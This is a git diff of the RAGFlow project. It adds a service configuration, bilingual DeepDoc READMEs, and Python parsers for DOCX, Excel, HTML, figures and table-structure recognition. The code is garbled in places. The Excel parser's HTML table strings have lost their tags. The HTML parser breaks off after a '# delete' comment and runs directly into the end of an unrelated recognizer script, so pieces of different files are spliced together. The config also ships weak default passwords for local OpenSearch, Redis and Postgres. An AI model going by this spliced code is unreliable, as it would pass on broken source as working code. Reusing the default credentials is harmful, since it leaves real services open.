+6Hw0pwlQEd8A11sjxCBbASwLeJO1L0w69QiX9chyOkZ+sfDsVpPt/wf1NexA7Cdj +9uifJ4JGbby39QD6mInZGtnRzQRdafjuXlBR2I0Qa7fBRu8QsfhmLbWZfWno7j08 +4bAAoqB1vRNfSu8LVJXdEEh/HKuwu11pgRr5eH8WQ3hJg+Y2k7zDHpp1VaHL7/Kn +S+aN5bhQ4Xt0Ujdi1+rsmNchnF6LWsDezHWJeWUM6X7dJnqIBl8oCyghbghT8Tyw +aEKWXc2+7FsP5yd0NfG3PFYOLdLgfI43pHTAv5PEQ47w9r1XOwfblKKBUDEzaput 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+ host: 'localhost:9000' +os: + hosts: 'http://localhost:1201' + username: 'admin' + password: 'infini_rag_flow_OS_01' +redis: + db: 1 + password: 'infini_rag_flow' + host: 'localhost:6379' +postgres: + name: 'rag_flow' + user: 'rag_flow' + password: 'infini_rag_flow' + host: 'localhost' + port: 5432 + max_connections: 100 + stale_timeout: 30 +# s3: +# access_key: 'access_key' +# secret_key: 'secret_key' +# region: 'region' +# oss: +# access_key: 'access_key' +# secret_key: 'secret_key' +# endpoint_url: 'http://oss-cn-hangzhou.aliyuncs.com' +# region: 'cn-hangzhou' +# bucket: 'bucket_name' +# azure: +# auth_type: 'sas' +# container_url: 'container_url' +# sas_token: 'sas_token' +# azure: +# auth_type: 'spn' +# account_url: 'account_url' +# client_id: 'client_id' +# secret: 'secret' +# tenant_id: 'tenant_id' +# container_name: 'container_name' +# The OSS object storage uses the MySQL configuration above by default. If you need to switch to another object storage service, please uncomment and configure the following parameters. +# opendal: +# scheme: 'mysql' # Storage type, such as s3, oss, azure, etc. +# config: +# oss_table: 'opendal_storage' +# user_default_llm: +# factory: 'BAAI' +# api_key: 'backup' +# base_url: 'backup_base_url' +# default_models: +# chat_model: +# name: 'qwen2.5-7b-instruct' +# factory: 'xxxx' +# api_key: 'xxxx' +# base_url: 'https://api.xx.com' +# embedding_model: +# name: 'bge-m3' +# rerank_model: 'bge-reranker-v2' +# asr_model: +# model: 'whisper-large-v3' # alias of name +# image2text_model: '' +# oauth: +# oauth2: +# display_name: "OAuth2" +# client_id: "your_client_id" +# client_secret: "your_client_secret" +# authorization_url: "https://your-oauth-provider.com/oauth/authorize" +# token_url: "https://your-oauth-provider.com/oauth/token" +# userinfo_url: "https://your-oauth-provider.com/oauth/userinfo" +# redirect_uri: "https://your-app.com/v1/user/oauth/callback/oauth2" +# oidc: +# display_name: "OIDC" +# client_id: "your_client_id" +# client_secret: "your_client_secret" +# issuer: "https://your-oauth-provider.com/oidc" +# scope: "openid email profile" +# redirect_uri: "https://your-app.com/v1/user/oauth/callback/oidc" +# github: +# type: "github" +# icon: "github" +# display_name: "Github" +# client_id: "your_client_id" +# client_secret: "your_client_secret" +# redirect_uri: "https://your-app.com/v1/user/oauth/callback/github" +# authentication: +# client: +# switch: false +# http_app_key: +# http_secret_key: +# site: +# switch: false +# permission: +# switch: false +# component: false +# dataset: false +# smtp: +# mail_server: "" +# mail_port: 465 +# mail_use_ssl: true +# mail_use_tls: false +# mail_username: "" +# mail_password: "" +# mail_default_sender: +# - "RAGFlow" # display name +# - "" # sender email address +# mail_frontend_url: "https://your-frontend.example.com" diff --git a/deepdoc/README.md b/deepdoc/README.md new file mode 100644 index 0000000..14c7947 --- /dev/null +++ b/deepdoc/README.md @@ -0,0 +1,122 @@ +English | [简体中文](./README_zh.md) + +# *Deep*Doc + +- [1. Introduction](#1) +- [2. Vision](#2) +- [3. Parser](#3) + + +## 1. Introduction + +With a bunch of documents from various domains with various formats and along with diverse retrieval requirements, +an accurate analysis becomes a very challenge task. *Deep*Doc is born for that purpose. +There are 2 parts in *Deep*Doc so far: vision and parser. +You can run the flowing test programs if you're interested in our results of OCR, layout recognition and TSR. +```bash +python deepdoc/vision/t_ocr.py -h +usage: t_ocr.py [-h] --inputs INPUTS [--output_dir OUTPUT_DIR] + +options: + -h, --help show this help message and exit + --inputs INPUTS Directory where to store images or PDFs, or a file path to a single image or PDF + --output_dir OUTPUT_DIR + Directory where to store the output images. Default: './ocr_outputs' +``` +```bash +python deepdoc/vision/t_recognizer.py -h +usage: t_recognizer.py [-h] --inputs INPUTS [--output_dir OUTPUT_DIR] [--threshold THRESHOLD] [--mode {layout,tsr}] + +options: + -h, --help show this help message and exit + --inputs INPUTS Directory where to store images or PDFs, or a file path to a single image or PDF + --output_dir OUTPUT_DIR + Directory where to store the output images. Default: './layouts_outputs' + --threshold THRESHOLD + A threshold to filter out detections. Default: 0.5 + --mode {layout,tsr} Task mode: layout recognition or table structure recognition +``` + +Our models are served on HuggingFace. If you have trouble downloading HuggingFace models, this might help!! +```bash +export HF_ENDPOINT=https://hf-mirror.com +``` + + +## 2. Vision + +We use vision information to resolve problems as human being. + - OCR. Since a lot of documents presented as images or at least be able to transform to image, + OCR is a very essential and fundamental or even universal solution for text extraction. + ```bash + python deepdoc/vision/t_ocr.py --inputs=path_to_images_or_pdfs --output_dir=path_to_store_result + ``` + The inputs could be directory to images or PDF, or a image or PDF. + You can look into the folder 'path_to_store_result' where has images which demonstrate the positions of results, + txt files which contain the OCR text. +
+ +
+ + - Layout recognition. Documents from different domain may have various layouts, + like, newspaper, magazine, book and résumé are distinct in terms of layout. + Only when machine have an accurate layout analysis, it can decide if these text parts are successive or not, + or this part needs Table Structure Recognition(TSR) to process, or this part is a figure and described with this caption. + We have 10 basic layout components which covers most cases: + - Text + - Title + - Figure + - Figure caption + - Table + - Table caption + - Header + - Footer + - Reference + - Equation + + Have a try on the following command to see the layout detection results. + ```bash + python deepdoc/vision/t_recognizer.py --inputs=path_to_images_or_pdfs --threshold=0.2 --mode=layout --output_dir=path_to_store_result + ``` + The inputs could be directory to images or PDF, or a image or PDF. + You can look into the folder 'path_to_store_result' where has images which demonstrate the detection results as following: +
+ +
+ + - Table Structure Recognition(TSR). Data table is a frequently used structure to present data including numbers or text. + And the structure of a table might be very complex, like hierarchy headers, spanning cells and projected row headers. + Along with TSR, we also reassemble the content into sentences which could be well comprehended by LLM. + We have five labels for TSR task: + - Column + - Row + - Column header + - Projected row header + - Spanning cell + + Have a try on the following command to see the layout detection results. + ```bash + python deepdoc/vision/t_recognizer.py --inputs=path_to_images_or_pdfs --threshold=0.2 --mode=tsr --output_dir=path_to_store_result + ``` + The inputs could be directory to images or PDF, or a image or PDF. + You can look into the folder 'path_to_store_result' where has both images and html pages which demonstrate the detection results as following: +
+ +
+ + +## 3. Parser + +Four kinds of document formats as PDF, DOCX, EXCEL and PPT have their corresponding parser. +The most complex one is PDF parser since PDF's flexibility. The output of PDF parser includes: + - Text chunks with their own positions in PDF(page number and rectangular positions). + - Tables with cropped image from the PDF, and contents which has already translated into natural language sentences. + - Figures with caption and text in the figures. + +### Résumé + +The résumé is a very complicated kind of document. A résumé which is composed of unstructured text +with various layouts could be resolved into structured data composed of nearly a hundred of fields. +We haven't opened the parser yet, as we open the processing method after parsing procedure. + + \ No newline at end of file diff --git a/deepdoc/README_zh.md b/deepdoc/README_zh.md new file mode 100644 index 0000000..4ada7ed --- /dev/null +++ b/deepdoc/README_zh.md @@ -0,0 +1,116 @@ +[English](./README.md) | 简体中文 + +# *Deep*Doc + +- [*Deep*Doc](#deepdoc) + - [1. 介绍](#1-介绍) + - [2. 视觉处理](#2-视觉处理) + - [3. 解析器](#3-解析器) + - [简历](#简历) + + +## 1. 介绍 + +对于来自不同领域、具有不同格式和不同检索要求的大量文档，准确的分析成为一项极具挑战性的任务。*Deep*Doc 就是为了这个目的而诞生的。到目前为止，*Deep*Doc 中有两个组成部分：视觉处理和解析器。如果您对我们的OCR、布局识别和TSR结果感兴趣，您可以运行下面的测试程序。 + +```bash +python deepdoc/vision/t_ocr.py -h +usage: t_ocr.py [-h] --inputs INPUTS [--output_dir OUTPUT_DIR] + +options: + -h, --help show this help message and exit + --inputs INPUTS Directory where to store images or PDFs, or a file path to a single image or PDF + --output_dir OUTPUT_DIR + Directory where to store the output images. Default: './ocr_outputs' +``` + +```bash +python deepdoc/vision/t_recognizer.py -h +usage: t_recognizer.py [-h] --inputs INPUTS [--output_dir OUTPUT_DIR] [--threshold THRESHOLD] [--mode {layout,tsr}] + +options: + -h, --help show this help message and exit + --inputs INPUTS Directory where to store images or PDFs, or a file path to a single image or PDF + --output_dir OUTPUT_DIR + Directory where to store the output images. Default: './layouts_outputs' + --threshold THRESHOLD + A threshold to filter out detections. Default: 0.5 + --mode {layout,tsr} Task mode: layout recognition or table structure recognition +``` + +HuggingFace为我们的模型提供服务。如果你在下载HuggingFace模型时遇到问题，这可能会有所帮助！！ + +```bash +export HF_ENDPOINT=https://hf-mirror.com +``` + + +## 2. 视觉处理 + +作为人类，我们使用视觉信息来解决问题。 + + - **OCR（Optical Character Recognition，光学字符识别）**。由于许多文档都是以图像形式呈现的，或者至少能够转换为图像，因此OCR是文本提取的一个非常重要、基本，甚至通用的解决方案。 + + ```bash + python deepdoc/vision/t_ocr.py --inputs=path_to_images_or_pdfs --output_dir=path_to_store_result + ``` + + 输入可以是图像或PDF的目录，或者单个图像、PDF文件。您可以查看文件夹 `path_to_store_result` ，其中有演示结果位置的图像，以及包含OCR文本的txt文件。 + +
+ +
+ + - 布局识别（Layout recognition）。来自不同领域的文件可能有不同的布局，如报纸、杂志、书籍和简历在布局方面是不同的。只有当机器有准确的布局分析时，它才能决定这些文本部分是连续的还是不连续的，或者这个部分需要表结构识别（Table Structure Recognition，TSR）来处理，或者这个部件是一个图形并用这个标题来描述。我们有10个基本布局组件，涵盖了大多数情况： + - 文本 + - 标题 + - 配图 + - 配图标题 + - 表格 + - 表格标题 + - 页头 + - 页尾 + - 参考引用 + - 公式 + + 请尝试以下命令以查看布局检测结果。 + + ```bash + python deepdoc/vision/t_recognizer.py --inputs=path_to_images_or_pdfs --threshold=0.2 --mode=layout --output_dir=path_to_store_result + ``` + + 输入可以是图像或PDF的目录，或者单个图像、PDF文件。您可以查看文件夹 `path_to_store_result` ，其中有显示检测结果的图像，如下所示： +
+ +
+ + - **TSR（Table Structure Recognition，表结构识别）**。数据表是一种常用的结构，用于表示包括数字或文本在内的数据。表的结构可能非常复杂，比如层次结构标题、跨单元格和投影行标题。除了TSR，我们还将内容重新组合成LLM可以很好理解的句子。TSR任务有五个标签： + - 列 + - 行 + - 列标题 + - 行标题 + - 合并单元格 + + 请尝试以下命令以查看布局检测结果。 + + ```bash + python deepdoc/vision/t_recognizer.py --inputs=path_to_images_or_pdfs --threshold=0.2 --mode=tsr --output_dir=path_to_store_result + ``` + + 输入可以是图像或PDF的目录，或者单个图像、PDF文件。您可以查看文件夹 `path_to_store_result` ，其中包含图像和html页面，这些页面展示了以下检测结果： + +
+ +
+ + +## 3. 解析器 + +PDF、DOCX、EXCEL和PPT四种文档格式都有相应的解析器。最复杂的是PDF解析器，因为PDF具有灵活性。PDF解析器的输出包括： + - 在PDF中有自己位置的文本块（页码和矩形位置）。 + - 带有PDF裁剪图像的表格，以及已经翻译成自然语言句子的内容。 + - 图中带标题和文字的图。 + +### 简历 + +简历是一种非常复杂的文档。由各种格式的非结构化文本构成的简历可以被解析为包含近百个字段的结构化数据。我们还没有启用解析器，因为在解析过程之后才会启动处理方法。 diff --git a/deepdoc/__init__.py b/deepdoc/__init__.py new file mode 100644 index 0000000..643f797 --- /dev/null +++ b/deepdoc/__init__.py @@ -0,0 +1,18 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from beartype.claw import beartype_this_package +beartype_this_package() diff --git a/deepdoc/parser/__init__.py b/deepdoc/parser/__init__.py new file mode 100644 index 0000000..809a56e --- /dev/null +++ b/deepdoc/parser/__init__.py @@ -0,0 +1,40 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from .docx_parser import RAGFlowDocxParser as DocxParser +from .excel_parser import RAGFlowExcelParser as ExcelParser +from .html_parser import RAGFlowHtmlParser as HtmlParser +from .json_parser import RAGFlowJsonParser as JsonParser +from .markdown_parser import MarkdownElementExtractor +from .markdown_parser import RAGFlowMarkdownParser as MarkdownParser +from .pdf_parser import PlainParser +from .pdf_parser import RAGFlowPdfParser as PdfParser +from .ppt_parser import RAGFlowPptParser as PptParser +from .txt_parser import RAGFlowTxtParser as TxtParser + +__all__ = [ + "PdfParser", + "PlainParser", + "DocxParser", + "ExcelParser", + "PptParser", + "HtmlParser", + "JsonParser", + "MarkdownParser", + "TxtParser", + "MarkdownElementExtractor", +] + diff --git a/deepdoc/parser/docx_parser.py b/deepdoc/parser/docx_parser.py new file mode 100644 index 0000000..2a65841 --- /dev/null +++ b/deepdoc/parser/docx_parser.py @@ -0,0 +1,139 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from docx import Document +import re +import pandas as pd +from collections import Counter +from rag.nlp import rag_tokenizer +from io import BytesIO + + +class RAGFlowDocxParser: + + def __extract_table_content(self, tb): + df = [] + for row in tb.rows: + df.append([c.text for c in row.cells]) + return self.__compose_table_content(pd.DataFrame(df)) + + def __compose_table_content(self, df): + + def blockType(b): + pattern = [ + ("^(20|19)[0-9]{2}[年/-][0-9]{1,2}[月/-][0-9]{1,2}日*$", "Dt"), + (r"^(20|19)[0-9]{2}年$", "Dt"), + (r"^(20|19)[0-9]{2}[年/-][0-9]{1,2}月*$", "Dt"), + ("^[0-9]{1,2}[月/-][0-9]{1,2}日*$", "Dt"), + (r"^第*[一二三四1-4]季度$", "Dt"), + (r"^(20|19)[0-9]{2}年*[一二三四1-4]季度$", "Dt"), + (r"^(20|19)[0-9]{2}[ABCDE]$", "DT"), + ("^[0-9.,+%/ -]+$", "Nu"), + (r"^[0-9A-Z/\._~-]+$", "Ca"), + (r"^[A-Z]*[a-z' -]+$", "En"), + (r"^[0-9.,+-]+[0-9A-Za-z/$￥%<>（）()' -]+$", "NE"), + (r"^.{1}$", "Sg") + ] + for p, n in pattern: + if re.search(p, b): + return n + tks = [t for t in rag_tokenizer.tokenize(b).split() if len(t) > 1] + if len(tks) > 3: + if len(tks) < 12: + return "Tx" + else: + return "Lx" + + if len(tks) == 1 and rag_tokenizer.tag(tks[0]) == "nr": + return "Nr" + + return "Ot" + + if len(df) < 2: + return [] + max_type = Counter([blockType(str(df.iloc[i, j])) for i in range( + 1, len(df)) for j in range(len(df.iloc[i, :]))]) + max_type = max(max_type.items(), key=lambda x: x[1])[0] + + colnm = len(df.iloc[0, :]) + hdrows = [0] # header is not necessarily appear in the first line + if max_type == "Nu": + for r in range(1, len(df)): + tys = Counter([blockType(str(df.iloc[r, j])) + for j in range(len(df.iloc[r, :]))]) + tys = max(tys.items(), key=lambda x: x[1])[0] + if tys != max_type: + hdrows.append(r) + + lines = [] + for i in range(1, len(df)): + if i in hdrows: + continue + hr = [r - i for r in hdrows] + hr = [r for r in hr if r < 0] + t = len(hr) - 1 + while t > 0: + if hr[t] - hr[t - 1] > 1: + hr = hr[t:] + break + t -= 1 + headers = [] + for j in range(len(df.iloc[i, :])): + t = [] + for h in hr: + x = str(df.iloc[i + h, j]).strip() + if x in t: + continue + t.append(x) + t = ",".join(t) + if t: + t += ": " + headers.append(t) + cells = [] + for j in range(len(df.iloc[i, :])): + if not str(df.iloc[i, j]): + continue + cells.append(headers[j] + str(df.iloc[i, j])) + lines.append(";".join(cells)) + + if colnm > 3: + return lines + return ["\n".join(lines)] + + def __call__(self, fnm, from_page=0, to_page=100000000): + self.doc = Document(fnm) if isinstance( + fnm, str) else Document(BytesIO(fnm)) + pn = 0 # parsed page + secs = [] # parsed contents + for p in self.doc.paragraphs: + if pn > to_page: + break + + runs_within_single_paragraph = [] # save runs within the range of pages + for run in p.runs: + if pn > to_page: + break + if from_page <= pn < to_page and p.text.strip(): + runs_within_single_paragraph.append(run.text) # append run.text first + + # wrap page break checker into a static method + if 'lastRenderedPageBreak' in run._element.xml: + pn += 1 + + secs.append(("".join(runs_within_single_paragraph), p.style.name if hasattr(p.style, 'name') else '')) # then concat run.text as part of the paragraph + + tbls = [self.__extract_table_content(tb) for tb in self.doc.tables] + return secs, tbls diff --git a/deepdoc/parser/excel_parser.py b/deepdoc/parser/excel_parser.py new file mode 100644 index 0000000..315df7d --- /dev/null +++ b/deepdoc/parser/excel_parser.py @@ -0,0 +1,189 @@ +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import re +import sys +from io import BytesIO + +import pandas as pd +from openpyxl import Workbook, load_workbook + +from rag.nlp import find_codec + +# copied from `/openpyxl/cell/cell.py` +ILLEGAL_CHARACTERS_RE = re.compile(r"[\000-\010]|[\013-\014]|[\016-\037]") + + +class RAGFlowExcelParser: + @staticmethod + def _load_excel_to_workbook(file_like_object): + if isinstance(file_like_object, bytes): + file_like_object = BytesIO(file_like_object) + + # Read first 4 bytes to determine file type + file_like_object.seek(0) + file_head = file_like_object.read(4) + file_like_object.seek(0) + + if not (file_head.startswith(b"PK\x03\x04") or file_head.startswith(b"\xd0\xcf\x11\xe0")): + logging.info("Not an Excel file, converting CSV to Excel Workbook") + + try: + file_like_object.seek(0) + df = pd.read_csv(file_like_object) + return RAGFlowExcelParser._dataframe_to_workbook(df) + + except Exception as e_csv: + raise Exception(f"Failed to parse CSV and convert to Excel Workbook: {e_csv}") + + try: + return load_workbook(file_like_object, data_only=True) + except Exception as e: + logging.info(f"openpyxl load error: {e}, try pandas instead") + try: + file_like_object.seek(0) + try: + df = pd.read_excel(file_like_object) + return RAGFlowExcelParser._dataframe_to_workbook(df) + except Exception as ex: + logging.info(f"pandas with default engine load error: {ex}, try calamine instead") + file_like_object.seek(0) + df = pd.read_excel(file_like_object, engine="calamine") + return RAGFlowExcelParser._dataframe_to_workbook(df) + except Exception as e_pandas: + raise Exception(f"pandas.read_excel error: {e_pandas}, original openpyxl error: {e}") + + @staticmethod + def _clean_dataframe(df: pd.DataFrame): + def clean_string(s): + if isinstance(s, str): + return ILLEGAL_CHARACTERS_RE.sub(" ", s) + return s + + return df.apply(lambda col: col.map(clean_string)) + + @staticmethod + def _dataframe_to_workbook(df): + df = RAGFlowExcelParser._clean_dataframe(df) + wb = Workbook() + ws = wb.active + ws.title = "Data" + + for col_num, column_name in enumerate(df.columns, 1): + ws.cell(row=1, column=col_num, value=column_name) + + for row_num, row in enumerate(df.values, 2): + for col_num, value in enumerate(row, 1): + ws.cell(row=row_num, column=col_num, value=value) + + return wb + + def html(self, fnm, chunk_rows=256): + from html import escape + + file_like_object = BytesIO(fnm) if not isinstance(fnm, str) else fnm + wb = RAGFlowExcelParser._load_excel_to_workbook(file_like_object) + tb_chunks = [] + + def _fmt(v): + if v is None: + return "" + return str(v).strip() + + for sheetname in wb.sheetnames: + ws = wb[sheetname] + rows = list(ws.rows) + if not rows: + continue + + tb_rows_0 = "" + for t in list(rows[0]): + tb_rows_0 += f"{escape(_fmt(t.value))}" + tb_rows_0 += "" + + for chunk_i in range((len(rows) - 1) // chunk_rows + 1): + tb = "" + tb += f"" + tb += tb_rows_0 + for r in list(rows[1 + chunk_i * chunk_rows : min(1 + (chunk_i + 1) * chunk_rows, len(rows))]): + tb += "" + for i, c in enumerate(r): + if c.value is None: + tb += "" + else: + tb += f"" + tb += "" + tb += "
{sheetname}
{escape(_fmt(c.value))}
\n" + tb_chunks.append(tb) + + return tb_chunks + + def markdown(self, fnm): + import pandas as pd + + file_like_object = BytesIO(fnm) if not isinstance(fnm, str) else fnm + try: + file_like_object.seek(0) + df = pd.read_excel(file_like_object) + except Exception as e: + logging.warning(f"Parse spreadsheet error: {e}, trying to interpret as CSV file") + file_like_object.seek(0) + df = pd.read_csv(file_like_object) + df = df.replace(r"^\s*$", "", regex=True) + return df.to_markdown(index=False) + + def __call__(self, fnm): + file_like_object = BytesIO(fnm) if not isinstance(fnm, str) else fnm + wb = RAGFlowExcelParser._load_excel_to_workbook(file_like_object) + + res = [] + for sheetname in wb.sheetnames: + ws = wb[sheetname] + rows = list(ws.rows) + if not rows: + continue + ti = list(rows[0]) + for r in list(rows[1:]): + fields = [] + for i, c in enumerate(r): + if not c.value: + continue + t = str(ti[i].value) if i < len(ti) else "" + t += ("：" if t else "") + str(c.value) + fields.append(t) + line = "; ".join(fields) + if sheetname.lower().find("sheet") < 0: + line += " ——" + sheetname + res.append(line) + return res + + @staticmethod + def row_number(fnm, binary): + if fnm.split(".")[-1].lower().find("xls") >= 0: + wb = RAGFlowExcelParser._load_excel_to_workbook(BytesIO(binary)) + total = 0 + for sheetname in wb.sheetnames: + ws = wb[sheetname] + total += len(list(ws.rows)) + return total + + if fnm.split(".")[-1].lower() in ["csv", "txt"]: + encoding = find_codec(binary) + txt = binary.decode(encoding, errors="ignore") + return len(txt.split("\n")) + + +if __name__ == "__main__": + psr = RAGFlowExcelParser() + psr(sys.argv[1]) diff --git a/deepdoc/parser/figure_parser.py b/deepdoc/parser/figure_parser.py new file mode 100644 index 0000000..0274f54 --- /dev/null +++ b/deepdoc/parser/figure_parser.py @@ -0,0 +1,105 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from concurrent.futures import ThreadPoolExecutor, as_completed + +from PIL import Image + +from api.utils.api_utils import timeout +from rag.app.picture import vision_llm_chunk as picture_vision_llm_chunk +from rag.prompts.generator import vision_llm_figure_describe_prompt + + +def vision_figure_parser_figure_data_wrapper(figures_data_without_positions): + return [ + ( + (figure_data[1], [figure_data[0]]), + [(0, 0, 0, 0, 0)], + ) + for figure_data in figures_data_without_positions + if isinstance(figure_data[1], Image.Image) + ] + + +shared_executor = ThreadPoolExecutor(max_workers=10) + + +class VisionFigureParser: + def __init__(self, vision_model, figures_data, *args, **kwargs): + self.vision_model = vision_model + self._extract_figures_info(figures_data) + assert len(self.figures) == len(self.descriptions) + assert not self.positions or (len(self.figures) == len(self.positions)) + + def _extract_figures_info(self, figures_data): + self.figures = [] + self.descriptions = [] + self.positions = [] + + for item in figures_data: + # position + if len(item) == 2 and isinstance(item[0], tuple) and len(item[0]) == 2 and isinstance(item[1], list) and isinstance(item[1][0], tuple) and len(item[1][0]) == 5: + img_desc = item[0] + assert len(img_desc) == 2 and isinstance(img_desc[0], Image.Image) and isinstance(img_desc[1], list), "Should be (figure, [description])" + self.figures.append(img_desc[0]) + self.descriptions.append(img_desc[1]) + self.positions.append(item[1]) + else: + assert len(item) == 2 and isinstance(item[0], Image.Image) and isinstance(item[1], list), f"Unexpected form of figure data: get {len(item)=}, {item=}" + self.figures.append(item[0]) + self.descriptions.append(item[1]) + + def _assemble(self): + self.assembled = [] + self.has_positions = len(self.positions) != 0 + for i in range(len(self.figures)): + figure = self.figures[i] + desc = self.descriptions[i] + pos = self.positions[i] if self.has_positions else None + + figure_desc = (figure, desc) + + if pos is not None: + self.assembled.append((figure_desc, pos)) + else: + self.assembled.append((figure_desc,)) + + return self.assembled + + def __call__(self, **kwargs): + callback = kwargs.get("callback", lambda prog, msg: None) + + @timeout(30, 3) + def process(figure_idx, figure_binary): + description_text = picture_vision_llm_chunk( + binary=figure_binary, + vision_model=self.vision_model, + prompt=vision_llm_figure_describe_prompt(), + callback=callback, + ) + return figure_idx, description_text + + futures = [] + for idx, img_binary in enumerate(self.figures or []): + futures.append(shared_executor.submit(process, idx, img_binary)) + + for future in as_completed(futures): + figure_num, txt = future.result() + if txt: + self.descriptions[figure_num] = txt + "\n".join(self.descriptions[figure_num]) + + self._assemble() + + return self.assembled diff --git a/deepdoc/parser/html_parser.py b/deepdoc/parser/html_parser.py new file mode 100644 index 0000000..44ff103 --- /dev/null +++ b/deepdoc/parser/html_parser.py @@ -0,0 +1,214 @@ +# -*- coding: utf-8 -*- +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from rag.nlp import find_codec, rag_tokenizer +import uuid +import chardet +from bs4 import BeautifulSoup, NavigableString, Tag, Comment +import html + +def get_encoding(file): + with open(file,'rb') as f: + tmp = chardet.detect(f.read()) + return tmp['encoding'] + +BLOCK_TAGS = [ + "h1", "h2", "h3", "h4", "h5", "h6", + "p", "div", "article", "section", "aside", + "ul", "ol", "li", + "table", "pre", "code", "blockquote", + "figure", "figcaption" +] +TITLE_TAGS = {"h1": "#", "h2": "##", "h3": "###", "h4": "#####", "h5": "#####", "h6": "######"} + + +class RAGFlowHtmlParser: + def __call__(self, fnm, binary=None, chunk_token_num=512): + if binary: + encoding = find_codec(binary) + txt = binary.decode(encoding, errors="ignore") + else: + with open(fnm, "r",encoding=get_encoding(fnm)) as f: + txt = f.read() + return self.parser_txt(txt, chunk_token_num) + + @classmethod + def parser_txt(cls, txt, chunk_token_num): + if not isinstance(txt, str): + raise TypeError("txt type should be string!") + + temp_sections = [] + soup = BeautifulSoup(txt, "html5lib") + # delete + + + %s + + +""" % TableStructureRecognizer.construct_table(boxes, html=True) + return html + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument('--inputs', + help="Directory where to store images or PDFs, or a file path to a single image or PDF", + required=True) + parser.add_argument('--output_dir', help="Directory where to store the output images. Default: './layouts_outputs'", + default="./layouts_outputs") + parser.add_argument( + '--threshold', + help="A threshold to filter out detections. Default: 0.5", + default=0.5) + parser.add_argument('--mode', help="Task mode: layout recognition or table structure recognition", choices=["layout", "tsr"], + default="layout") + args = parser.parse_args() + main(args) diff --git a/deepdoc/vision/table_structure_recognizer.py b/deepdoc/vision/table_structure_recognizer.py new file mode 100644 index 0000000..7f4736c --- /dev/null +++ b/deepdoc/vision/table_structure_recognizer.py @@ -0,0 +1,612 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import re +from collections import Counter + +import numpy as np +from huggingface_hub import snapshot_download + +from api.utils.file_utils import get_project_base_directory +from rag.nlp import rag_tokenizer + +from .recognizer import Recognizer + + +class TableStructureRecognizer(Recognizer): + labels = [ + "table", + "table column", + "table row", + "table column header", + "table projected row header", + "table spanning cell", + ] + + def __init__(self): + try: + super().__init__(self.labels, "tsr", os.path.join(get_project_base_directory(), "rag/res/deepdoc")) + except Exception: + super().__init__( + self.labels, + "tsr", + snapshot_download( + repo_id="InfiniFlow/deepdoc", + local_dir=os.path.join(get_project_base_directory(), "rag/res/deepdoc"), + local_dir_use_symlinks=False, + ), + ) + + def __call__(self, images, thr=0.2): + table_structure_recognizer_type = os.getenv("TABLE_STRUCTURE_RECOGNIZER_TYPE", "onnx").lower() + if table_structure_recognizer_type not in ["onnx", "ascend"]: + raise RuntimeError("Unsupported table structure recognizer type.") + + if table_structure_recognizer_type == "onnx": + logging.debug("Using Onnx table structure recognizer", flush=True) + tbls = super().__call__(images, thr) + else: # ascend + logging.debug("Using Ascend table structure recognizer", flush=True) + tbls = self._run_ascend_tsr(images, thr) + + res = [] + # align left&right for rows, align top&bottom for columns + for tbl in tbls: + lts = [ + { + "label": b["type"], + "score": b["score"], + "x0": b["bbox"][0], + "x1": b["bbox"][2], + "top": b["bbox"][1], + "bottom": b["bbox"][-1], + } + for b in tbl + ] + if not lts: + continue + + left = [b["x0"] for b in lts if b["label"].find("row") > 0 or b["label"].find("header") > 0] + right = [b["x1"] for b 